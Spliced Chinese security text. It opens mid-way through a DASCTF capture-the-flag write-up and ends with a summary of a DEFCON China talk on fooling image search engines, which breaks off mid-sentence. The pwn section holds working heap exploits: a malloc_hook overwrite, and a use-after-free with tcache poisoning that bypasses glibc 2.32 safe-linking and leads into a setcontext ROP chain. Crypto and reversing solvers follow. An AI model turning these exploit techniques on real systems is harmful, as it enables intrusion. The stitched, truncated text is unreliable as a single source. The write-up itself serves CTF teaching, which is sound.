puts("Offset:");
_isoc99_scanf("%llx", (char *)&size + 4);
puts("Data:");
read(0, &chunk[*(size_t *)((char *)&size + 4)], 0x10uLL);
malloc(0xA0uLL);
close(1);
return 0;
}
我们可以申请任意大小的一个堆块并得到它的地址，然后往堆块附近写入一个值，之后程序会申请一个0xa0的堆块，最后关闭了标准输出流并返回
那么我们可以申请一个特别大的堆块，这样这个堆块就会靠近libc，我们便可以计算得到libc及地址，进而我们可以向malloc_hook中写入one_gadget，最后通过错误流进行输出
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
# r = process("./fruitpie")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com",51202)
libc = ELF("./libc.so.6")
#gdb.attach(r)
r.recvuntil("Enter the size to malloc:")
r.sendline(str(0x200000))
r.recvuntil("0x")
chunk_addr = int(r.recvuntil("\n",drop = True),16)
libc_base = chunk_addr + 0x200ff0
success("libc_base : " + hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
success("malloc_hook : " + hex(malloc_hook))
one_gadget = libc_base + 0x10a45c
offset = hex(malloc_hook - chunk_addr)[2:]
r.recvuntil("Offset:")
r.sendline(str(offset))
r.recvuntil("Data:")
r.send(p64(one_gadget))
r.interactive()
# cat flag >&2
### clown
程序的主要逻辑如下
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // eax
sub_D7A();
sub_D07();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_opt(a1, a2);
if ( v3 != 2 )
break;
Del();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
Show();
}
else
{
if ( v3 == 4 )
{
puts("Bye~");
exit(0);
}
LABEL_13:
a1 = (__int64)"Invalid Choice";
puts("Invalid Choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
Add();
}
}
}
程序总体功能是一个比较常见的菜单题，实现了`Add\Delete\Show`功能。其中能申请的堆块数量为`0x100`，也就导致这道题方法还挺灵活的。并且开启了沙箱，那么我们就只能使用
`orw`来获取 `flag`
int sub_BD5()
{
int result; // eax
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts("Index: ");
v1 = get_opt();
if ( v1 <= 0xFF && *((_QWORD *)&chunk_list + v1) )
{
free(*((void **)&chunk_list + v1));
result = puts("Done");
}
else
{
puts("Error");
result = 1;
}
return result;
}
程序漏洞存在于 `delete`函数中，有一个 `UAF`漏洞。`libc`版本为`2.32`
首先我们需要泄漏地址。由于有一个 `UAF`漏洞，那么泄露地址就十分简单。可以直接申请 大于`0x80`的堆块填充满`tcache`后，再释放一个到
`unsortedbin`来泄露地址。以此得到`libc`地址
此外，我们还需要知道堆地址，原因是由于`glibc-2.32`新增了一种`safe-linking`机制，该机制用于对单链表`tcache`以及`fastbin`的`fd`指针进行加密，从而增强安全性，加密的规则为将`fd`指针与右移3个字节的堆基地址进行异或操作
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
所以，如果后面想通过劫持`tcache`实现任意地址堆块分配，需要知道堆地址，来对我们任意地址进行加密。
这里想要泄露`heap`地址，可以输出`tcache`中的第一个堆块，由于该堆块的`next`指针指向
`tcache_perthread_struct`结构体，所以加密后也就是
`tcache_perthread_struct>>12`，我们很容易得到堆块地址
之后便是劫持`tcache`，劫持`tcache`的最好思路是利用`uaf`漏洞将`tcache`中的空闲堆块的`next`指针改为我们想分配的地址。但是这里没有
`edit`功能。所以选择利用堆合并后，申请大堆块，来实现堆重叠。
先分别释放`0x90 chunk1`和 `0xf0 chunk2`的堆块到`unsortedbin`中造成堆合并，然后再将
`chunk2`放入`tcache`中 。然后申请一个`0x100 chunk3`的堆块，此时`chunk3`就和
`chunk2`发生重叠。利用`chunk3`修改`chunk2`的`next`指针指向`free_hook`
最后便是`orw`，`glibc-2.32`的`orw`，不能仅仅使用`setcontext`，因为此时
`setcontext+61`的参数变为了`rdx`。所以需要找到一个将 `rdi`赋值给`rdx`的`gadget`。我使用如下：
0x0000000000124990: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
我们只需要再 `rdi+8`处布置`rdi`的值，在`rdx+0x20`处布置 `setcontext+61`的地址，即可实现顺利调用
`setcontext+61`。
后续就是执行 orw来读取 flag
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux','split','-h'])
filename = './clown'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
debug = 0
if debug == 1:
#p = process([filename], env={"LD_PRELOAD": "./libc-2.31.so"})
p = process(filename)
elf = ELF(filename)
libc = ELF(libcname)
#libc = ELF('./libc-2.31.so')
else:
p = remote('pwn.machine.dasctf.com', 50801)
libc = ELF('./libc.so.6')
elf = ELF(filename)
def Add(size, payload):
p.sendlineafter('>> ', str(1))
p.sendlineafter('Size: \n',str(size))
p.sendafter('Content: ', payload)
def Delete(idx):
p.sendlineafter('>> ', str(2))
p.sendlineafter('Index: \n',str(idx))
def Show(idx):
p.sendlineafter('>> ', str(3))
p.sendlineafter('Index: \n',str(idx))
def magic_frame(rdx_rdi, secontext_addr, rdi, rsi, rdx, rsp, rip):
payload = p64(rdx_rdi) + p64(0) * 2 #rdx
payload += p64(secontext_addr) #call func_addr
payload = payload.ljust(0x60, b'\x00')
payload += p64(rdi) + p64(rsi) # rdi , rsi
payload += p64(0) * 2 + p64(rdx) + p64(0x18) + p64(0) # rdx
payload += p64(rsp) + p64(rip) # rsp, rip
payload = payload.ljust(0xf8, b'\x00')
return payload
def enc(addr1, addr2):
addr = (addr1>>12)^addr2
return addr
def Pwn():
for i in range(8):
Add(0x90, 'a'*8)
Add(0xf0, 'a'*8) #8
Add(0xa0, 'a'*8) #9
#Add(0xf0, 'a'*8)
for i in range(7):
Add(0xf0, 'a'*8) #10-16
Delete(0)
Show(0)
heap_addr = (u64(p.recv(5).ljust(8, b'\x00'))<<12)
print('heap_addr:',hex(heap_addr))
for i in range(1, 8):
Delete(i)
Add(0x100, 'a'*8) #17
Show(7)
libc_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x10-240-libc.sym['__malloc_hook']
print('libc_addr:',hex(libc_addr))
free_hook = libc_addr+libc.sym['__free_hook']
system = libc_addr+libc.sym['system']
print("free_hook:",hex(free_hook))
print('chunk consolidate:')
for i in range(7):
Delete(10+i)
Delete(8)
for i in range(7): #18-24
Add(0xf0, 'a'*8)
print("double free")
Delete(20)
Delete(8)
#gdb.attach(p, 'bp $rebase(0xf32)')
print("hajack free_hook")
a1 = enc(heap_addr+0x7a0, free_hook)
print("addr:",hex(a1))
payload = 'a'*0x90+p64(0)+p64(0x91)+p64(a1)
Add(0x100, payload) #25
Add(0xf0, 'a'*8) #26
for i in range(8):
Add(0x80, '2'*8) #27-34
for i in range(8): #35-42
Add(0xe0, '3'*8)
for i in range(8):
Delete(27+i)
for i in range(7):
Delete(36+i)
print("chunk consolidate 2")
Delete(35)
for i in range(7): #43-49
Add(0xe0, '2'*8)
print("tcahe hajack2")
Delete(45)
Delete(35)
#gdb.attach(p, 'bp $rebase(0xf32)')
a1 = enc(heap_addr+0x1550, free_hook+0xe0)
print("addr:",hex(a1))
payload = 'a'*0x80+p64(0)+p64(0xf1)+p64(a1)
Add(0x100, payload) #50
Add(0xe0, 'a'*8) #51
for i in range(8): #52-59
Add(0xb0, '2'*8)
for i in range(8): #60-67
Add(0xd0, '3'*8)
for i in range(8):
Delete(52+i)
for i in range(7):
Delete(61+i)
print("chunk consolidate 3")
Delete(60)
for i in range(7): #68-74
Add(0xd0, '2'*8)
print("tcahe hajack3")
Delete(70)
Delete(60)
#gdb.attach(p, 'bp $rebase(0xf32)')
a1 = enc(heap_addr+0x22d0, free_hook+0x1c0)
print("addr:",hex(a1))
payload = 'a'*0xb0+p64(0)+p64(0xf1)+p64(a1)
Add(0x100, payload) #75
Add(0xd0, 'a'*8) #76
p_rdi_r = 0x277d6+libc_addr
p_rsi_r = 0x32032 + libc_addr
p_rdx_r = 0xc800d + libc_addr
p_rax_r = 0x45580 + libc_addr
syscall = 0x611ea+libc_addr
ret = 0xbcc1b + libc_addr
flag_str_addr = free_hook + 0x210
flag_addr = free_hook + 0x300
open_addr = libc_addr+libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr+libc.sym['write']
orw = flat([
p_rdi_r, flag_str_addr,
p_rsi_r, 0,
open_addr,
p_rdi_r, 3,
p_rsi_r, flag_addr,
p_rdx_r, 0x40,
read_addr,
p_rdi_r, 1,
p_rsi_r, flag_addr,
p_rdx_r, 0x40, 0,
write_addr
])
setcontext = libc_addr + libc.sym['setcontext']
magic_addr = libc_addr + 0x14b760
orw_addr = free_hook+0x110
frame_addr = free_hook
payload = p64(magic_addr)
payload += magic_frame(frame_addr, setcontext + 61, 0, 0, 0, orw_addr, ret)
payload = payload.ljust(0x110, b'\x00') + orw
payload = payload.ljust(0x220, b'\x00') + './flag\x00'
print('magic:',hex(magic_addr))
p1 = payload[:0xe0]
p2 = payload[0xe0:0x1d0]
p3 = payload[0x1d0:]
#gdb.attach(p, 'bp $rebase(0xf32)')
Add(0xd0, p3)
Add(0xe0, p2)
Add(0xf0, p1)
Delete(79)
p.interactive()
Pwn()
## Reverse
### drinkSomeTea
题目给了一个exe文件和加密过的png图片，ida打开可以发现是一个文件加密的程序，其中有一个花指令
手动修一下后还原成`function`即可发现这是一个`tea`加密，这里需要注意的是`output0`和`output1`和普通的`tea`不同，是`int`而非`unsigned
int`，所以用平常的`tea`脚本得出的结果会不一样
`tea`的`key`就是`flag{fake_flag!}`，那么我们编写对应的脚本进行解密
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
void decrypt(int *A,unsigned int *B){
int v0 = A[0],v1 = A[1];
unsigned int sum = 0xC6EF3720,delta = 0x9E3779B9;
for(int i = 0; i < 32; i++){
v1 -= ((v0 << 4) + B[2]) ^ (v0 + sum) ^ ((v0 >> 5) + B[3]);
v0 -= ((v1 << 4) + B[0]) ^ (v1 + sum) ^ ((v1 >> 5) + B[1]);
sum -= delta;
}
A[0] = v0;
A[1] = v1;
}
int main(){
unsigned int key[4] = {0x67616c66,0x6b61667b,0x6c665f65,0x7d216761};
FILE *op = NULL;
op = fopen("./tea.png", "w+");
int fp = -1;
fp = open("./tea.png.out", O_RDONLY);
unsigned char buff[9];
for(int round = 0; round < 7328; round++){
read(fp,buff,8);
int A[2];
for(int i = 0; i < 2; i++){
unsigned int tmp = 0;
for(int j = 0; j < 4; j++){
tmp <<= 8;
tmp |= buff[i * 4 + 3 - j];
}
A[i] = tmp;
}
for(int i=0; i<2; i++){
printf("%X ",A[i]);
}
decrypt(A,key);
unsigned int output[8] = {0,0,0,0,0,0,0,0};
for(int i = 0; i < 2; i++){
int tmp = A[1 - i];
for(int j = 0; j < 4; j++){
output[(1 - i) * 4 + j] = tmp & 0xff;
tmp >>= 8;
}
}
for(int i = 0; i < 8; i++){
fprintf(op,"%02x",output[i]);
}
}
fclose(op);
close(fp);
}
data = open("tea.png","rb").read()
data = bytes.fromhex(data.decode("utf-8"))
with open("flag.png","wb") as f:
f.write(data)
即可还原出原来的图片
### Enjoyit-1
题目是一个`.net`程序，用`dnSpy`打开，可以发现首先进行了一个类似`base64`的操作
跟进去之后发现就是base64，但是码表进行了替换
那么我们去`github`上找一个`base64`的脚本改一改来进行解密
class b64:
def __init__(self):
self.table = 'abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ='
def __str__(self):
return 'Base64 Encoder / Decoder'
def encode(self, text):
bins = str()
for c in text:
bins += '{:0>8}'.format(str(bin(ord(c)))[2:])
while len(bins) % 3:
bins += '00000000'
d = 1
for i in range(6, len(bins) + int(len(bins) / 6), 7):
bins = bins[:i] + ' ' + bins[i:]
bins = bins.split(' ')
if '' in bins:
bins.remove('')
base64 = str()
for b in bins:
if b == '000000':
base64 += '='
else:
base64 += self.table[int(b, 2)]
return base64
def decode(self, text):
bins = str()
for c in text:
if c == '=':
bins += '000000'
else:
bins += '{:0>6}'.format(str(bin(self.table.index(c)))[2:])
for i in range(8, len(bins) + int(len(bins) / 8), 9):
bins = bins[:i] + ' ' + bins[i:]
bins = bins.split(' ')
if '' in bins:
bins.remove('')
text = str()
for b in bins:
if not b == '00000000':
text += chr(int(b, 2))
return text
def test(self):
e = 'Running Class Test'
d = 'UnVubmluZyBDbGFzcyBUZXN0'
if e == decode(d) and d == encode(e):
return True
else:
return False
_inst = b64()
encode = _inst.encode
decode = _inst.decode
if __name__ == '__main__':
s = "yQXHyBvN3g/81gv51QXG1QTBxRr/yvXK1hC="
print(decode(s))
可以得到`combustible_oolong_tea_plz`
之后程序进行了一个`xtea`和`xor`的操作
那么我们按照这个逻辑解密即可得到flag
from Crypto.Util.number import *
enc = [2,5,4,13,3,84,11,4,87,3,86,3,80,7,83,3,0,4,83,94,7,84,4,0,1,83,3,84,6,83,5,80]
def decrypt(A,B):
delta = 2654435464
v0 = A[0]
v1 = A[1]
s = 0
for i in range(32):
v0 += (v1 << 4 ^ v1 >> 5) + v1 ^ s + B[s & 3]
v0 &= 0xffffffff
s += delta
s &= 0xffffffff
v1 += (v0 << 4 ^ v0 >> 5) + v0 ^ s + B[(s >> 11) & 3]
v1 &= 0xffffffff
return [v0,v1]
A = [288,369]
B = b"combustible_oolong_tea_plz"
B = [i for i in B]
[v0,v1] = decrypt(A,B)
v0 = long_to_bytes(v0)
v1 = long_to_bytes(v1)
key = (v0 + v1).hex()
key = [ord(i) for i in key]
flag = ""
for i in range(len(enc)):
flag += chr(key[i % len(key)] ^ enc[i])
print(flag)
## Crypto
### crypto_threshold
题目代码如下
import random
from sympy import nextprime
from Crypto.Util.number import *
from secret import flag
from gmpy2 import gcd
def lcg(seed,params):
(m,c,n)=params
s = seed % n
while True:
s = (m * s + c) % n
yield s
seed = getPrime(128)
m = getPrime(128)
c = getPrime(128)
n = getPrime(129)
print(m,c,n)
key_stream = lcg(seed,(m,c,n))
num=[]
for _ in range(6):
num.append(next(key_stream))
print(num)
secret = next(key_stream)
e = nextprime(secret)
p = getPrime(1024)
q = getPrime(1024)
_lambda = ((p-1)*(q-1)) / gcd(p-1,q-1)
flag = bytes_to_long(flag)
print(_lambda)
print(p*q)
print(pow(flag,e,p*q))
`flag`被`rsa`加密，`e`是由`lcg`生成的，由于我们知道`lcg`的之前的状态，所以可以很容易推出`e`的值
然后我们知道`lcm(n)`，通过比较`n`和`lcm(n)`的比特数可以很容易发现它们相差的很小，那么可以通过爆破`gcd(p-1,q-1)`的方式来分解`n`进而解密得到`flag`
from sympy import nextprime
from Crypto.Util.number import *
import gmpy2
def lcg(seed,params):
(m,c,n) = params
s = seed % n
while True:
s = (m * s + c) % n
yield s
a = 315926151576125492949520250047736865439
b = 204423972944032372640132172728460755543
n = 375402477603617093440157245062608289367
lcg_output = [345100389799760820174075838471701328893, 354616152072197410104284828964580660629, 262223452907927780613453340112396026524, 36884243358932605284421044617284274488, 293840768243490066897038832083154668562, 287868671713011127830359814204794790287]
l = lcg(lcg_output[-1],(a,b,n))
secret = next(l)
e = nextprime(secret)
_lambda = 457872764421730558978217109311884057410311335293040789670930865953404030084212226269947268155086034859079522508205099945996505165612539895857134158846470122889806235716457030336629794120415334028017836171608283093853784030348654118118278878881245838363354935523654666907698225985634469947076411404657018958617661794208646954882326918608011132295868155254980231015984288966599987516188265570396237695988003707515471895679008794498548940902202079105268931791776841539932961070351617834137017590635300615537152347169984974533340989459692132455611998382465644967355506104871655788359202461542101480022365857889833055840
n = 27472365865303833538693026558713043444618680117582447380255851957204241805052733576196836089305162091544771350492305996759790309936752393751428049530788207373388374142987421820197787647224920041681070170296496985631227041820919247087096732732874750301801296131419280014461893559138068196824584684279421137517391204355597563871480257589096606865035259322614687417246708249170470689983675108996118328359454354818425772935513344465778617739729440207409124134831968562495435786944862849412776010947330752600405451073822977981611026975129395818269513358936682934286140359273764118787152676411486767003233858544159511154941
c = 7187920142528335824861143203876908084067528690298329755497671248322277194754277305701102880967402859593937177306927235921616059382304183094350022713118203435560220591865274025991334717202171313133285253575822615616032441398946742994706880814251670668924098240782583026655923033371628284132606950034409888896558825512875084001031123558055489119898334591442547695833103046341283479780998109787754685881665949269402489768629140076361688313079919123642491566639820702501701460474001196941883819620040361365999896847153131825439764785309224799365130821807533936571946283436139142085798584001786665762720472918598961576836
g = 2
for i in range(2**7):
phi = _lambda * g
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(m)
if b"CTF" in flag:
print(flag)
exit(0)
g = nextprime(g)
### threshold
题目代码如下
#make.sage
import random
flag = bytearray("DASCTF{********************************}".encode())
flag = list(flag)
length = len(flag)
N=53
p=257
q=28019
d=18
f=[1]*19+[-1]*18+[0]*16
random.shuffle(f)
g=[1]*18+[-1]*18+[0]*17
random.shuffle(g)
Q.<x> = Zmod(q)[]
P.<y> = Zmod(p)[]
fx=Q(f)
fy=P(f)
gx=Q(g)
Fqx=fx.inverse_mod(x^N-1)
Fpy=fy.inverse_mod(y^N-1)
hx=(Fqx*gx).mod(x^N-1)
r=[1]*10+[-1]*22+[0]*21
random.shuffle(r)
rx=Q(r)
mx=Q(flag)
ex=(p*rx*hx+mx).mod(x^N-1)
print(ex)
print(hx)
可以发现本题的内容和[2020SCTF-Lattice](https://ctftime.org/writeup/22161)很像，那么我们可以据此写出`exp`，不过由于这道题中没有`bal_mod`，所以也就可以去掉
import random
p = 257
q = 28019
n = 53
Zx.<x> = ZZ[]
e = 7367*x^52 + 24215*x^51 + 5438*x^50 + 7552*x^49 + 22666*x^48 + 21907*x^47 + 10572*x^46 + 19756*x^45 + 4083*x^44 + 22080*x^43 + 1757*x^42 + 5708*x^41 + 22838*x^40 + 4022*x^39 + 9239*x^38 + 1949*x^37 + 27073*x^36 + 8192*x^35 + 955*x^34 + 4373*x^33 + 17877*x^32 + 25592*x^31 + 13535*x^30 + 185*x^29 + 9471*x^28 + 9793*x^27 + 22637*x^26 + 3293*x^25 + 27047*x^24 + 21985*x^23 + 13584*x^22 + 6809*x^21 + 24770*x^20 + 16964*x^19 + 8866*x^18 + 22102*x^17 + 18006*x^16 + 3198*x^15 + 19024*x^14 + 2777*x^13 + 9252*x^12 + 9684*x^11 + 3604*x^10 + 7840*x^9 + 17573*x^8 + 11382*x^7 + 12726*x^6 + 6811*x^5 + 10104*x^4 + 7485*x^3 + 858*x^2 + 15100*x + 15860
h = 14443*x^52 + 10616*x^51 + 11177*x^50 + 24769*x^49 + 23510*x^48 + 23059*x^47 + 21848*x^46 + 24145*x^45 + 12420*x^44 + 1976*x^43 + 16947*x^42 + 7373*x^41 + 16708*x^40 + 18435*x^39 + 18561*x^38 + 21557*x^37 + 16115*x^36 + 7873*x^35 + 20005*x^34 + 11543*x^33 + 9488*x^32 + 2865*x^31 + 11797*x^30 + 2961*x^29 + 14944*x^28 + 22631*x^27 + 24061*x^26 + 9792*x^25 + 6791*x^24 + 10423*x^23 + 3534*x^22 + 26233*x^21 + 14223*x^20 + 15555*x^19 + 3381*x^18 + 23641*x^17 + 2697*x^16 + 11303*x^15 + 6030*x^14 + 7355*x^13 + 20693*x^12 + 1768*x^11 + 10059*x^10 + 27822*x^9 + 8150*x^8 + 5458*x^7 + 21270*x^6 + 22651*x^5 + 8381*x^4 + 2819*x^3 + 3987*x^2 + 8610*x + 6022
def inv_mod_prime(f,p):
T = Zx.change_ring(Integers(p)).quotient(x^n-1)
return Zx(lift(1 / T(f)))
def mul(f,g):
return (f * g) % (x^n-1)
def bal_mod(f,q):
g = list(((f[i] + q//2) % q) - q//2 for i in range(n))
return Zx(g)
def decrypt(e,pri_key):
f,fp = pri_key
a = bal_mod(mul(e,f),q)
d = bal_mod(mul(a,fp),p)
return d
def get_key():
for j in range(2 * n):
try:
f = Zx(list(M[j][:n]))
fp = inv_mod_prime(f,p)
return (f,fp)
except:
pass
return (f,f)
M = matrix(ZZ, 2*n, 2*n)
hh = h.list()
for i in range(n): M[i,i] = 1
for i in range(n,2*n): M[i,i] = q
for i in range(n):
for j in range(n):
M[i,j+n] = hh[(n-i+j) % n]
M = M.LLL()
key = get_key()
l = decrypt(e, key).list()
flag = bytes(l)
print(flag)
### son_of_NTRU
虽然这道题目说的不是`NTRU`，但是我们还是可以发现题目的代码和`NTRU`基本类似
#! /bin/bash/env python3
from random import randrange
from Crypto.Util.number import *
from gmpy2 import invert
def gcd(a,b):
while b:
a,b = b,a%b
return a
def generate():
p = getPrime(1024)
while True:
f = randrange(1,(p//2)**(0.5))
g = randrange((p//4)**(0.5),(p//2)**(0.5))
if gcd(f,p)==1 and gcd(f,g)==1:
break
h = (invert(f,p)*g)%p
return h,p,f,g
def encrypt(m,h,p):
assert m<(p//4)**(0.5)
r = randrange(1,(p//2)**(0.5))
c = (r*h+m)%p
return c
h,p,f,g = generate()
from flag import flag
c = encrypt(bytes_to_long(flag),h,p)
print("h = {}".format(h))
print("p = {}".format(p))
print("c = {}".format(c))
那么我们可以直接使用[Soreat_u](https://xz.aliyun.com/t/7163#toc-5)师傅的脚本进行解密
from Crypto.Util.number import *
def GaussLatticeReduction(v1, v2):
while True:
if v2.norm() < v1.norm():
v1, v2 = v2, v1
m = round( v1*v2 / v1.norm()^2 )
if m == 0:
return (v1, v2)
v2 = v2 - m*v1
h = 70851272226599856513658616506718804769182611213413854493145253337330709939355936692154199813179587933065165812259913249917314725765898812249062834111179900151466610356207921771928832591335738750053453046857602342378475278876652263044722419918958361163645152112020971804267503129035439011008349349624213734004
p = 125796773654949906956757901514929172896506715196511121353157781851652093811702246079116208920427110231653664239838444378725001877052652056537732732266407477191221775698956008368755461680533430353707546171814962217736494341129233572423073286387554056407408816555382448824610216634458550949715062229816683685469
c = 4691517945653877981376957637565364382959972087952249273292897076221178958350355396910942555879426136128610896883898318646711419768716904972164508407035668258209226498292327845169861395205212789741065517685193351416871631112431257858097798333893494180621728198734264288028849543413123321402664789239712408700
# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
# Solve SVP.
shortest_vector = m.LLL()[0]
# shortest_vector = GaussLatticeReduction(v1, v2)[0]
f, g = shortest_vector
print(f, g)
f = abs(f)
g = abs(g)
# Decrypt.
a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(long_to_bytes(m))
### FeedBack
题目代码如下
from secret import flag
from string import hexdigits
import random
from functools import reduce
def cycle(c:list,a:list)->int:
return reduce(lambda x,y: x+y,map(lambda x: x[0]*x[1],zip(c,a)))
def enc(m:list,k:list)->list:
for i in range(len(k)*2):
m.append(cycle(m[i:i+len(k)],k))
return m[len(k):]
if __name__ == "__main__":
key=[ord(random.choice(hexdigits)) for i in range(len(flag))]
c=enc(list(flag),key)
print(c)
可以发现题目的代码逻辑十分像[LFSR](https://ctf-wiki.org/crypto/streamcipher/fsr/lfsr/)，不同的地方是这里的`key`是`hexdigits`的数而非`01`
那么我们可以参考[2019De1CTF-Babylfsr](https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/crypto/Babylfsr)，首先得到如下的关系（假设`n = len(m)
// 2`）
那么我们便可以通过`m`得到`key`，之后再一个一个字节逆推回去即可还原`flag`
c = [180320, 12795604, 913707946, 65244867544, 4658921499366, 332678259897680, 23755460291939729, 1696299282824525162, 121127152307279309992, 8649291534003765460181, 617617459134250473857819, 44102031285199767595231826, 3149180993372727865351695610, 224872656429052251931507068163, 16057416742916791898621189838002, 1146607313446549338631740275859490, 81875456824588820793005728503088789, 5846457066530480582594997088868317921, 417476268914312098171907310476576578536, 29810607197367740257089118506396936455267, 2128677406710643996313598469435818995764283, 152001851952900202233154866795341968398324618, 10853952282423997785255606215412380976089774602, 775045031593704366379150517314704054142878227755, 55343416422679709865626814221707233611767499083451, 3951891330799176591085237005754672086216649002044116, 282191561344334793283891774610663595748300192924237652, 20150371209182455377207293308509352961052348504530516058, 1438871729308714548579613052036192683042976990785336035213, 102745097443187470470063857372230471012050786200205019335560, 7336689458539737357933680339939811164938123954552946412371136, 523888862345101730958585832445722009143686030486587614405269619, 37409180481229224476184683624742923927721083153229315469794323846, 2671266531631899605156440693785360699681088880751785277451781995127, 190746356675660819059021289711194688989007498945709965975632125093772, 13620569925986012345710256811290898483914841356894501064938828451682289, 972600097542764210429602165761543702875470220807440912087468994318947199, 69450173882625967125859360885466807837084362724230554403206714010957033564, 4959208480970674965771932762141990438694621159829420665293248503741956497339, 354120765763611360372631234091033326236527919343510113669886900852817067794937, 25286599106731127999761204195099137001826484641202640190432847596126102129290177, 1805632869356683189091740036886552559813413339716342384679179468460652986832630119, 128934304100758873373068786008043012614625306314330902439450614878647840309940810799, 9206774564238985792239909901043542380389506567225353556524468058541750913201465442258, 657425488646345934124836595103998888905043390553798696290609052666406363868364633227987, 46944591735815161454850764823066332748372328488810515939042504343121621896260739496814215, 3352158885381868382186614128492698209211597671157972107257901283108688995314288195559935895, 239366640061152248661380413770610731951278310979044705869198442025229868870474962029566786828, 17092384440374810990148000504438682199862673994374786921479630475896214666270304948184067943963, 1220510952499186818225235173267171189892653750839095345581049972346091269304188809141591821528945, 87152672604981875905661244747737456527193455119785950165560211136820203006355054095176767065463607, 6223285687554056604834063330772248822879874758146969128122776216276580479221618865554693862254391145, 444384361274324240336894080988769378714126300500080707977898823502774400070423897702729938853457320554, 31732025566514505285832183071784730973330427403124198140983516899800427456134314554661472009492580417251]
l = len(c) // 2
A = Matrix(ZZ,l)
for i in range(l):
A[i] = c[i:i+l]
v = vector(c[l:])
key = A.solve_right(v)
for i in range(l):
cc = c[:l-1]
s = c[l-1]
for j in range(l-1):
s -= cc[j] * key[1+j]
assert s % key[0] == 0
r = s // key[0]
c.insert(0,r)
print(bytes(c[:l]))
## Reference
<https://www.jianshu.com/p/4272e0805da3>
<https://ctftime.org/writeup/22161>
<https://xz.aliyun.com/t/7163>
<https://ctf-wiki.org/crypto/streamcipher/fsr/lfsr/>
<https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/crypto/Babylfsr> | 社区文章 |
# DEFCON CHINA议题解读 | 欺骗图片搜索引擎
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、介绍
在本次DEFCON China大会上，来自中国人民大学的弓媛君、梁彬教授及黄建军博士进行了题为“欺骗图片搜索引擎”的报告。
该工作揭示了一种新的安全威胁：被广泛应用于图片搜索引擎中的基于内容的图像检索系统（CBIR，即”以图搜图”）可能成为潜在的攻击目标，攻击者可以通过移除/注入图片关键点的手段绕开检索算法搜索。通过欺骗搜索引擎，攻击者可以避开图片相似度查询，达到图片内容抄袭等目的。
## 2、背景
基于内容的图像检索系统，即CBIR系统（Content-Based Image
Retrieval，也称“以图搜图”）已经被广泛应用于各大搜索引擎中。其功能是通过用户输入的一张图片，搜索引擎将会查找并返回具有相同或相似内容的其他图片搜索结果。
CBIR系统数据库建立的过程主要包括通过图像特征提取（例如经典的SIFT算法和SURF算法）生成聚合向量，接着对聚合向量建立索引数据库。在用户进行图片检索时，搜索引擎通过对用户输入图片进行特征提取得到聚合向量，在检索数据库中查找相似向量并返回对应索引图片，以实现“以图搜图”的功能。
用于提取特征的SIFT和SURF算法在提取图片特征时具有旋转和尺度不变性，能够应用于不同尺寸和旋转效果的图片上，因此被广泛应用于图片检索系统。其中SIFT默认提取特征为128维度，而SURF算法默认提取特征为
64维度。
图1 CBIR系统框架[1]
## 3、针对图片搜索引擎的欺骗攻击
针对以上的CBIR系统对应的图片检索环节，演讲者提出了对于该系统的欺骗攻击思路：在保留图片视觉语义的情况下篡改图片关键点以修改聚合特征，进而影响检索结果。对于图片关键点扰动方法，该团队主要提供了三类：仅移除，仅注入和混合。
图2 CBIR欺骗攻击模型
**3.1** **仅移除特征点**
针对SIFT算法，该团队使用已有RMD算法（Minimum local Distortion
attack）[1]实现特征点的移除。针对SURF算法，该团队提出了自己的RMD-SURF算法实现了对SURF特征点的移除。
特征点移除的方法可以影响图像检索结果，但是该方法仅适用于特征点较少的图片样本，对于复杂图像而言会造成视觉语义的明显改变·。
**3.2** **仅注入特征点**
该团队设计了IMD算法（RMD算法逆操作）来实施关键点注入策略，通过在图片中注入SIFT关键点，或者在图片周围添加特殊构造的边框以注入关键点。同仅移除特征点方法相似，该方法对于某些图像的视觉语义表征影响较大，单独使用不适用于复杂图片内容。
**3.3** **混合扰动方法**
为了在改变图像聚合特征的同时尽量保留图像视觉语义不变，该团队将特征点注入和移除方法予以结合，提出了一种混合扰动方案。结果表明该方法可以在图片语义表达改变很轻微的情况下对搜索引擎进行欺骗。
**3.4** **效果展示**
在验证阶段，该团队对本地图片检索引擎VisualIndex[2]以及在线搜索引擎Google
Image进行了攻击，并对效果进行展示。从结果可以看出，原存在于检索系统中的图片在经过关键点扰动后，CBIR系统已无法对其进行正确辨别，这表明该攻击方法可以在保持图片视觉语义的同时，有效地逃避搜索引擎检索。最后讲者指出目前该工作还尚未能完全实现Source-Target攻击，即人为地控制检索结果，这也将作为其今后的一个研究方向。
图3.1 仅移除关键点图像(60次RMD)
图3.2 VisualIndex检索图像结果
图4.1 仅注入关键点图像
图4.2 VisualIndex检索图像结果
图5.1 融合算法图像
图5.2 VisualIndex检索图像结果
图6 融合算法成功绕开了Google Image的检索
## 4、总结
报告主要展示了一个对于图片搜索引擎（CBIR）的安全威胁，攻击者可以通过图片关键点扰动来避开搜索引擎检索。该工作证明了即使是当前工业级图片搜索引擎（如Google
